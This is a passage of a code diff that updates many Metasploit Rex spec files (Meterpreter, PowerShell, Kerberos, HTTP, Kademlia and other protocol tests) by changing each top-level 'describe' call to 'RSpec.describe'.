a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb index 9ffa2f1a46..2b57f4a098 100644 --- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb @@ -3,7 +3,7 @@ require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/packet_parser' -describe Rex::Post::Meterpreter::PacketParser do +RSpec.describe Rex::Post::Meterpreter::PacketParser do subject(:parser){ Rex::Post::Meterpreter::PacketParser.new } diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb index 40da740f0a..ce575adceb 100644 --- a/spec/lib/rex/post/meterpreter/packet_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_spec.rb @@ -1,7 +1,7 @@ # -*- coding:binary -*- require 'rex/post/meterpreter/packet' -describe Rex::Post::Meterpreter::Tlv do +RSpec.describe Rex::Post::Meterpreter::Tlv do subject(:tlv) { Rex::Post::Meterpreter::Tlv.new( Rex::Post::Meterpreter::TLV_TYPE_STRING, @@ -124,7 +124,7 @@ describe Rex::Post::Meterpreter::Tlv do end -describe Rex::Post::Meterpreter::GroupTlv do +RSpec.describe Rex::Post::Meterpreter::GroupTlv do subject(:group_tlv) { Rex::Post::Meterpreter::GroupTlv.new( Rex::Post::Meterpreter::TLV_TYPE_CHANNEL_DATA_GROUP @@ -363,7 +363,7 @@ describe Rex::Post::Meterpreter::GroupTlv do end end -describe Rex::Post::Meterpreter::Packet do +RSpec.describe Rex::Post::Meterpreter::Packet do context "Request Packet" do subject(:packet) { Rex::Post::Meterpreter::Packet.new( diff --git a/spec/lib/rex/post/meterpreter/ui/console.rb b/spec/lib/rex/post/meterpreter/ui/console.rb index bd0d7d76a4..f63e225cfc 100644 --- a/spec/lib/rex/post/meterpreter/ui/console.rb +++ b/spec/lib/rex/post/meterpreter/ui/console.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/post/meterpreter/ui/console' -describe Rex::Post::Meterpreter::Ui::Console do +RSpec.describe Rex::Post::Meterpreter::Ui::Console do subject(:console) do Rex::Post::Meterpreter::Ui::Console.new(nil) diff --git a/spec/lib/rex/post/meterpreter_spec.rb b/spec/lib/rex/post/meterpreter_spec.rb index ef7d53faa3..a3967a885d 100644 --- a/spec/lib/rex/post/meterpreter_spec.rb +++ b/spec/lib/rex/post/meterpreter_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'rex/post/meterpreter' -describe MetasploitPayloads do +RSpec.describe MetasploitPayloads do it 'is available' do expect(described_class).to eq(MetasploitPayloads) end diff --git a/spec/lib/rex/powershell/command_spec.rb b/spec/lib/rex/powershell/command_spec.rb index 4e854bce22..873c226368 100644 --- a/spec/lib/rex/powershell/command_spec.rb +++ b/spec/lib/rex/powershell/command_spec.rb @@ -6,7 +6,7 @@ def decompress(code) Rex::Powershell::Script.new(code).decompress_code end -describe Rex::Powershell::Command do +RSpec.describe Rex::Powershell::Command do let(:example_script) do File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1") end diff --git a/spec/lib/rex/powershell/function_spec.rb b/spec/lib/rex/powershell/function_spec.rb index ee73f24273..8af62718fd 100644 --- a/spec/lib/rex/powershell/function_spec.rb +++ b/spec/lib/rex/powershell/function_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/powershell' -describe Rex::Powershell::Function do +RSpec.describe Rex::Powershell::Function do let(:function_name) do Rex::Text.rand_text_alpha(15) diff --git a/spec/lib/rex/powershell/obfu_spec.rb b/spec/lib/rex/powershell/obfu_spec.rb index 6844e8f0ed..a56376c7d2 100644 --- a/spec/lib/rex/powershell/obfu_spec.rb +++ b/spec/lib/rex/powershell/obfu_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/powershell' -describe Rex::Powershell::Obfu do +RSpec.describe Rex::Powershell::Obfu do let(:example_script_without_literal) do """ diff --git a/spec/lib/rex/powershell/output_spec.rb b/spec/lib/rex/powershell/output_spec.rb index 132fca6e47..db535640e9 100644 --- a/spec/lib/rex/powershell/output_spec.rb +++ b/spec/lib/rex/powershell/output_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/powershell' -describe Rex::Powershell::Output do +RSpec.describe Rex::Powershell::Output do let(:example_script) do Rex::Text.rand_text_alpha(400) diff --git a/spec/lib/rex/powershell/param_spec.rb b/spec/lib/rex/powershell/param_spec.rb index ee7b406959..da7cc4e8dd 100644 --- a/spec/lib/rex/powershell/param_spec.rb +++ b/spec/lib/rex/powershell/param_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/powershell' -describe Rex::Powershell::Param do +RSpec.describe Rex::Powershell::Param do let(:param_name) do Rex::Text.rand_text_alpha(15) diff --git a/spec/lib/rex/powershell/parser_spec.rb b/spec/lib/rex/powershell/parser_spec.rb index 951dea3091..086b653ff4 100644 --- a/spec/lib/rex/powershell/parser_spec.rb +++ b/spec/lib/rex/powershell/parser_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/powershell' -describe Rex::Powershell::Parser do +RSpec.describe Rex::Powershell::Parser do let(:example_script) do """ diff --git a/spec/lib/rex/powershell/psh_methods_spec.rb b/spec/lib/rex/powershell/psh_methods_spec.rb index 04f4d433fb..ddfa717e17 100644 --- a/spec/lib/rex/powershell/psh_methods_spec.rb +++ b/spec/lib/rex/powershell/psh_methods_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/powershell' -describe Rex::Powershell::PshMethods do +RSpec.describe Rex::Powershell::PshMethods do describe "::download" do it 'should return some powershell' do diff --git a/spec/lib/rex/powershell/script_spec.rb b/spec/lib/rex/powershell/script_spec.rb index 833746e824..c770070c9c 100644 --- a/spec/lib/rex/powershell/script_spec.rb +++ b/spec/lib/rex/powershell/script_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/powershell' -describe Rex::Powershell::Output do +RSpec.describe Rex::Powershell::Output do let(:example_script) do Rex::Text.rand_text_alpha(400) diff --git a/spec/lib/rex/powershell_spec.rb b/spec/lib/rex/powershell_spec.rb index aee94c43c4..7cc4276710 100644 --- a/spec/lib/rex/powershell_spec.rb +++ b/spec/lib/rex/powershell_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/powershell' -describe Rex::Powershell do +RSpec.describe Rex::Powershell do let(:example_script) do """function DumpHashes diff --git a/spec/lib/rex/proto/acpp/message_spec.rb b/spec/lib/rex/proto/acpp/message_spec.rb index 97e5569d39..b1860a7bc9 100644 --- a/spec/lib/rex/proto/acpp/message_spec.rb +++ b/spec/lib/rex/proto/acpp/message_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/acpp' -describe Rex::Proto::ACPP::Message do +RSpec.describe Rex::Proto::ACPP::Message do subject(:message) do described_class.new diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 14f13a776d..a6b1a41e03 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -81,7 +81,7 @@ shared_examples "uri_full_url" do end -describe Rex::Proto::Http::ClientRequest do +RSpec.describe Rex::Proto::Http::ClientRequest do default_options = { # All of these should be what you get when you pass in empty diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 82d53762ed..fcb4f5d105 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -5,7 +5,7 @@ require 'rex/proto/http/client' # connection to 127.0.0.1:1. If you have some crazy local # firewall that is dropping packets to this, your tests # might be slow. I wonder how Travis-CI will react to this... -describe Rex::Proto::Http::Client do +RSpec.describe Rex::Proto::Http::Client do class << self diff --git a/spec/lib/rex/proto/http/packet/header_spec.rb b/spec/lib/rex/proto/http/packet/header_spec.rb index d6da40de0c..62610db6e8 100644 --- a/spec/lib/rex/proto/http/packet/header_spec.rb +++ b/spec/lib/rex/proto/http/packet/header_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/proto/http/packet/header' -describe Rex::Proto::Http::Packet::Header do +RSpec.describe Rex::Proto::Http::Packet::Header do it_behaves_like "hash with insensitive keys" diff --git a/spec/lib/rex/proto/http/packet_spec.rb b/spec/lib/rex/proto/http/packet_spec.rb index 8fac5eebcd..2e7e4ba873 100644 --- a/spec/lib/rex/proto/http/packet_spec.rb +++ b/spec/lib/rex/proto/http/packet_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/proto/http/packet' -describe Rex::Proto::Http::Packet do +RSpec.describe Rex::Proto::Http::Packet do it_behaves_like "hash with insensitive keys" describe "#parse" do diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index 0b9ec02a58..643475e48d 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -1,7 +1,7 @@ require 'rex/proto/http/response' require 'nokogiri' -describe Rex::Proto::Http::Response do +RSpec.describe Rex::Proto::Http::Response do let(:get_cookies_test_no_cookies) do <<-HEREDOC.gsub(/^ {6}/, '') diff --git a/spec/lib/rex/proto/kademlia/bootstrap_request_spec.rb b/spec/lib/rex/proto/kademlia/bootstrap_request_spec.rb index 645c209698..8153550cea 100644 --- a/spec/lib/rex/proto/kademlia/bootstrap_request_spec.rb +++ b/spec/lib/rex/proto/kademlia/bootstrap_request_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kademlia/bootstrap_request' -describe Rex::Proto::Kademlia::BootstrapRequest do +RSpec.describe Rex::Proto::Kademlia::BootstrapRequest do subject(:bootstrap) do described_class.new end diff --git a/spec/lib/rex/proto/kademlia/bootstrap_response_spec.rb b/spec/lib/rex/proto/kademlia/bootstrap_response_spec.rb index e0a49e0ed2..87a1dd0881 100644 --- a/spec/lib/rex/proto/kademlia/bootstrap_response_spec.rb +++ b/spec/lib/rex/proto/kademlia/bootstrap_response_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kademlia/bootstrap_response' -describe Rex::Proto::Kademlia::BootstrapResponse do +RSpec.describe Rex::Proto::Kademlia::BootstrapResponse do describe '#from_data' do it 'properly decodes real valid bootstrap responses' do data = IO.read(File.join(File.dirname(__FILE__), 'kademlia_bootstrap_res.bin')) diff --git a/spec/lib/rex/proto/kademlia/message_spec.rb b/spec/lib/rex/proto/kademlia/message_spec.rb index 90d3c43746..ad03c15e65 100644 --- a/spec/lib/rex/proto/kademlia/message_spec.rb +++ b/spec/lib/rex/proto/kademlia/message_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/proto/kademlia/message' -describe Rex::Proto::Kademlia::Message do +RSpec.describe Rex::Proto::Kademlia::Message do context 'with a body' do let(:type) { 1 } diff --git a/spec/lib/rex/proto/kademlia/ping_spec.rb b/spec/lib/rex/proto/kademlia/ping_spec.rb index 35baa2ca8f..7c9ffd432c 100644 --- a/spec/lib/rex/proto/kademlia/ping_spec.rb +++ b/spec/lib/rex/proto/kademlia/ping_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kademlia/ping' -describe Rex::Proto::Kademlia::Ping do +RSpec.describe Rex::Proto::Kademlia::Ping do subject(:ping) do described_class.new end diff --git a/spec/lib/rex/proto/kademlia/pong_spec.rb b/spec/lib/rex/proto/kademlia/pong_spec.rb index 898ae76fd9..fff0b1dcc6 100644 --- a/spec/lib/rex/proto/kademlia/pong_spec.rb +++ b/spec/lib/rex/proto/kademlia/pong_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kademlia/pong' -describe Rex::Proto::Kademlia::Pong do +RSpec.describe Rex::Proto::Kademlia::Pong do let(:port) { 12345 } subject(:pong) do described_class.new(port) diff --git a/spec/lib/rex/proto/kademlia/util_spec.rb b/spec/lib/rex/proto/kademlia/util_spec.rb index 9c3e250343..e81f0896bb 100644 --- a/spec/lib/rex/proto/kademlia/util_spec.rb +++ b/spec/lib/rex/proto/kademlia/util_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kademlia/util' -describe Rex::Proto::Kademlia do +RSpec.describe Rex::Proto::Kademlia do describe '#decode_peer_id' do subject(:kad) { described_class.decode_peer_id(bytes) } diff --git a/spec/lib/rex/proto/kerberos/client_spec.rb b/spec/lib/rex/proto/kerberos/client_spec.rb index ea15bea8e7..a1609107d9 100644 --- a/spec/lib/rex/proto/kerberos/client_spec.rb +++ b/spec/lib/rex/proto/kerberos/client_spec.rb @@ -14,7 +14,7 @@ class MyStringIO < StringIO end end -describe Rex::Proto::Kerberos::Client do +RSpec.describe Rex::Proto::Kerberos::Client do before :each do allow(Rex::Socket::Tcp).to receive(:create) do s = '' diff --git a/spec/lib/rex/proto/kerberos/credential_cache/cache_spec.rb b/spec/lib/rex/proto/kerberos/credential_cache/cache_spec.rb index 92312a0f46..0844fb0dee 100644 --- a/spec/lib/rex/proto/kerberos/credential_cache/cache_spec.rb +++ b/spec/lib/rex/proto/kerberos/credential_cache/cache_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::CredentialCache::Cache do +RSpec.describe Rex::Proto::Kerberos::CredentialCache::Cache do subject(:cache) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/credential_cache/credential_spec.rb b/spec/lib/rex/proto/kerberos/credential_cache/credential_spec.rb index a2fe2b0e7a..682d9f297f 100644 --- a/spec/lib/rex/proto/kerberos/credential_cache/credential_spec.rb +++ b/spec/lib/rex/proto/kerberos/credential_cache/credential_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::CredentialCache::Credential do +RSpec.describe Rex::Proto::Kerberos::CredentialCache::Credential do subject(:credential) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/credential_cache/key_block.rb b/spec/lib/rex/proto/kerberos/credential_cache/key_block.rb index 168745cca5..651810a206 100644 --- a/spec/lib/rex/proto/kerberos/credential_cache/key_block.rb +++ b/spec/lib/rex/proto/kerberos/credential_cache/key_block.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::CredentialCache::KeyBlock do +RSpec.describe Rex::Proto::Kerberos::CredentialCache::KeyBlock do subject(:key_block) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/credential_cache/principal_spec.rb b/spec/lib/rex/proto/kerberos/credential_cache/principal_spec.rb index c474ab56ca..653c2601e1 100644 --- a/spec/lib/rex/proto/kerberos/credential_cache/principal_spec.rb +++ b/spec/lib/rex/proto/kerberos/credential_cache/principal_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::CredentialCache::Principal do +RSpec.describe Rex::Proto::Kerberos::CredentialCache::Principal do subject(:principal) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/credential_cache/time_spec.rb b/spec/lib/rex/proto/kerberos/credential_cache/time_spec.rb index 615592cd6d..2f419c3591 100644 --- a/spec/lib/rex/proto/kerberos/credential_cache/time_spec.rb +++ b/spec/lib/rex/proto/kerberos/credential_cache/time_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::CredentialCache::Time do +RSpec.describe Rex::Proto::Kerberos::CredentialCache::Time do subject(:time) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/ap_req_spec.rb b/spec/lib/rex/proto/kerberos/model/ap_req_spec.rb index 327eaa01f9..9c9f547882 100644 --- a/spec/lib/rex/proto/kerberos/model/ap_req_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/ap_req_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::ApReq do +RSpec.describe Rex::Proto::Kerberos::Model::ApReq do subject(:ap_req) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/authenticator_spec.rb b/spec/lib/rex/proto/kerberos/model/authenticator_spec.rb index 89e60a51d3..f341672f27 100644 --- a/spec/lib/rex/proto/kerberos/model/authenticator_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/authenticator_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::Authenticator do +RSpec.describe Rex::Proto::Kerberos::Model::Authenticator do subject(:authenticator) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/authorization_data_spec.rb b/spec/lib/rex/proto/kerberos/model/authorization_data_spec.rb index 99f2248ddb..67b24aad1e 100644 --- a/spec/lib/rex/proto/kerberos/model/authorization_data_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/authorization_data_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::AuthorizationData do +RSpec.describe Rex::Proto::Kerberos::Model::AuthorizationData do subject(:authorization_data) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/checksum_spec.rb b/spec/lib/rex/proto/kerberos/model/checksum_spec.rb index 6f0fd93923..310fb4c785 100644 --- a/spec/lib/rex/proto/kerberos/model/checksum_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/checksum_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::Checksum do +RSpec.describe Rex::Proto::Kerberos::Model::Checksum do subject(:checksum) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/enc_kdc_response_spec.rb b/spec/lib/rex/proto/kerberos/model/enc_kdc_response_spec.rb index f7899b215b..2166aa1c1f 100644 --- a/spec/lib/rex/proto/kerberos/model/enc_kdc_response_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/enc_kdc_response_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::EncKdcResponse do +RSpec.describe Rex::Proto::Kerberos::Model::EncKdcResponse do subject(:enc_kdc_response) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb b/spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb index 18e65096ac..cdbc0d5b00 100644 --- a/spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb @@ -5,7 +5,7 @@ require 'openssl' require 'rex/text' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::EncryptedData do +RSpec.describe Rex::Proto::Kerberos::Model::EncryptedData do subject(:encrypted_data) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/kdc_request_body_spec.rb b/spec/lib/rex/proto/kerberos/model/kdc_request_body_spec.rb index 4f94425f4f..93715575f5 100644 --- a/spec/lib/rex/proto/kerberos/model/kdc_request_body_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/kdc_request_body_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::KdcRequestBody do +RSpec.describe Rex::Proto::Kerberos::Model::KdcRequestBody do subject(:kdc_request_body) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/kdc_request_spec.rb b/spec/lib/rex/proto/kerberos/model/kdc_request_spec.rb index 834815cf33..c27e55e614 100644 --- a/spec/lib/rex/proto/kerberos/model/kdc_request_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/kdc_request_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::KdcRequest do +RSpec.describe Rex::Proto::Kerberos::Model::KdcRequest do subject(:kdc_request) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/kdc_response_spec.rb b/spec/lib/rex/proto/kerberos/model/kdc_response_spec.rb index 901ab60f7d..4e04a81c5a 100644 --- a/spec/lib/rex/proto/kerberos/model/kdc_response_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/kdc_response_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::KdcResponse do +RSpec.describe Rex::Proto::Kerberos::Model::KdcResponse do subject(:kdc_response) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/krb_error_spec.rb b/spec/lib/rex/proto/kerberos/model/krb_error_spec.rb index 864feac4ef..c73fb9b6bf 100644 --- a/spec/lib/rex/proto/kerberos/model/krb_error_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/krb_error_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::KrbError do +RSpec.describe Rex::Proto::Kerberos::Model::KrbError do subject(:krb_error) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/pre_auth_data_spec.rb b/spec/lib/rex/proto/kerberos/model/pre_auth_data_spec.rb index e4f9270027..475413453e 100644 --- a/spec/lib/rex/proto/kerberos/model/pre_auth_data_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/pre_auth_data_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::PreAuthData do +RSpec.describe Rex::Proto::Kerberos::Model::PreAuthData do subject(:pre_auth_data) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp_spec.rb b/spec/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp_spec.rb index bac408818e..e0289c6471 100644 --- a/spec/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp do +RSpec.describe Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp do subject(:pre_auth_enc_time_stamp) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/pre_auth_pac_request_spec.rb b/spec/lib/rex/proto/kerberos/model/pre_auth_pac_request_spec.rb index 582224a8e7..062a287755 100644 --- a/spec/lib/rex/proto/kerberos/model/pre_auth_pac_request_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/pre_auth_pac_request_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::PreAuthPacRequest do +RSpec.describe Rex::Proto::Kerberos::Model::PreAuthPacRequest do subject(:pre_auth_pac_request) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/principal_name_spec.rb b/spec/lib/rex/proto/kerberos/model/principal_name_spec.rb index 8ad28b44ac..31c32aa30a 100644 --- a/spec/lib/rex/proto/kerberos/model/principal_name_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/principal_name_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::PrincipalName do +RSpec.describe Rex::Proto::Kerberos::Model::PrincipalName do subject(:principal_name) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/ticket_spec.rb b/spec/lib/rex/proto/kerberos/model/ticket_spec.rb index 8d31ff087a..769dff4f3a 100644 --- a/spec/lib/rex/proto/kerberos/model/ticket_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/ticket_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::Ticket do +RSpec.describe Rex::Proto::Kerberos::Model::Ticket do subject(:ticket) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/pac/client_info_spec.rb b/spec/lib/rex/proto/kerberos/pac/client_info_spec.rb index 21355cb88d..2f3155b0c0 100644 --- a/spec/lib/rex/proto/kerberos/pac/client_info_spec.rb +++ b/spec/lib/rex/proto/kerberos/pac/client_info_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Pac::ClientInfo do +RSpec.describe Rex::Proto::Kerberos::Pac::ClientInfo do subject(:client_info) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/pac/logon_info_spec.rb b/spec/lib/rex/proto/kerberos/pac/logon_info_spec.rb index c3ac79b876..26a6388462 100644 --- a/spec/lib/rex/proto/kerberos/pac/logon_info_spec.rb +++ b/spec/lib/rex/proto/kerberos/pac/logon_info_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Pac::LogonInfo do +RSpec.describe Rex::Proto::Kerberos::Pac::LogonInfo do subject(:logon_info) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/pac/priv_srv_checksum_spec.rb b/spec/lib/rex/proto/kerberos/pac/priv_srv_checksum_spec.rb index b2b4420d76..2071710266 100644 --- a/spec/lib/rex/proto/kerberos/pac/priv_srv_checksum_spec.rb +++ b/spec/lib/rex/proto/kerberos/pac/priv_srv_checksum_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Pac::PrivSvrChecksum do +RSpec.describe Rex::Proto::Kerberos::Pac::PrivSvrChecksum do subject(:priv_svr_checksum) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/pac/server_checksum_spec.rb b/spec/lib/rex/proto/kerberos/pac/server_checksum_spec.rb index eab933d866..7e8f6a144d 100644 --- a/spec/lib/rex/proto/kerberos/pac/server_checksum_spec.rb +++ b/spec/lib/rex/proto/kerberos/pac/server_checksum_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Pac::ServerChecksum do +RSpec.describe Rex::Proto::Kerberos::Pac::ServerChecksum do subject(:server_checksum) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/pac/type_spec.rb b/spec/lib/rex/proto/kerberos/pac/type_spec.rb index 5d13288125..0f235952d1 100644 --- a/spec/lib/rex/proto/kerberos/pac/type_spec.rb +++ b/spec/lib/rex/proto/kerberos/pac/type_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Pac::Type do +RSpec.describe Rex::Proto::Kerberos::Pac::Type do subject(:pac_type) do described_class.new diff --git a/spec/lib/rex/proto/natpmp/packet_spec.rb b/spec/lib/rex/proto/natpmp/packet_spec.rb index b702cd2002..fe9229ad8b 100644 --- a/spec/lib/rex/proto/natpmp/packet_spec.rb +++ b/spec/lib/rex/proto/natpmp/packet_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/proto/natpmp/packet' -describe Rex::Proto::NATPMP do +RSpec.describe Rex::Proto::NATPMP do subject do mod = Module.new mod.extend described_class diff --git a/spec/lib/rex/proto/ntp/modes_spec.rb b/spec/lib/rex/proto/ntp/modes_spec.rb index e4eb6673df..094b319ab7 100644 --- a/spec/lib/rex/proto/ntp/modes_spec.rb +++ b/spec/lib/rex/proto/ntp/modes_spec.rb @@ -2,7 +2,7 @@ # require 'rex/proto/ntp/modes' -describe "Rex::Proto::NTP mode message handling" do +RSpec.describe "Rex::Proto::NTP mode message handling" do before do @payload = 'R7' * 7 end diff --git a/spec/lib/rex/proto/pjl/client_spec.rb b/spec/lib/rex/proto/pjl/client_spec.rb index 1ab8d88750..041422992b 100644 --- a/spec/lib/rex/proto/pjl/client_spec.rb +++ b/spec/lib/rex/proto/pjl/client_spec.rb @@ -3,7 +3,7 @@ require 'msfenv' require 'msf/base' require 'rex/proto/pjl' -describe Rex::Proto::PJL::Client do +RSpec.describe Rex::Proto::PJL::Client do context "methods" do let(:default_response) do 'OK' diff --git a/spec/lib/rex/proto/quake/message_spec.rb b/spec/lib/rex/proto/quake/message_spec.rb index 33b4d1b7e8..e7a37c919c 100644 --- a/spec/lib/rex/proto/quake/message_spec.rb +++ b/spec/lib/rex/proto/quake/message_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/proto/quake/message' -describe Rex::Proto::Quake do +RSpec.describe Rex::Proto::Quake do subject do mod = Module.new mod.extend described_class diff --git a/spec/lib/rex/proto/rmi/model/call_data_spec.rb b/spec/lib/rex/proto/rmi/model/call_data_spec.rb index 3c4f34da83..d9a7158a5f 100644 --- a/spec/lib/rex/proto/rmi/model/call_data_spec.rb +++ b/spec/lib/rex/proto/rmi/model/call_data_spec.rb @@ -5,7 +5,7 @@ require 'stringio' require 'rex/proto/rmi' require 'rex/java' -describe Rex::Proto::Rmi::Model::CallData do +RSpec.describe Rex::Proto::Rmi::Model::CallData do subject(:call_data) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/call_spec.rb b/spec/lib/rex/proto/rmi/model/call_spec.rb index 7a43747118..b588eacc47 100644 --- a/spec/lib/rex/proto/rmi/model/call_spec.rb +++ b/spec/lib/rex/proto/rmi/model/call_spec.rb @@ -5,7 +5,7 @@ require 'stringio' require 'rex/proto/rmi' require 'rex/java' -describe Rex::Proto::Rmi::Model::Call do +RSpec.describe Rex::Proto::Rmi::Model::Call do subject(:call) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/continuation_spec.rb b/spec/lib/rex/proto/rmi/model/continuation_spec.rb index dc3b1cefd2..128f2c6f91 100644 --- a/spec/lib/rex/proto/rmi/model/continuation_spec.rb +++ b/spec/lib/rex/proto/rmi/model/continuation_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'stringio' require 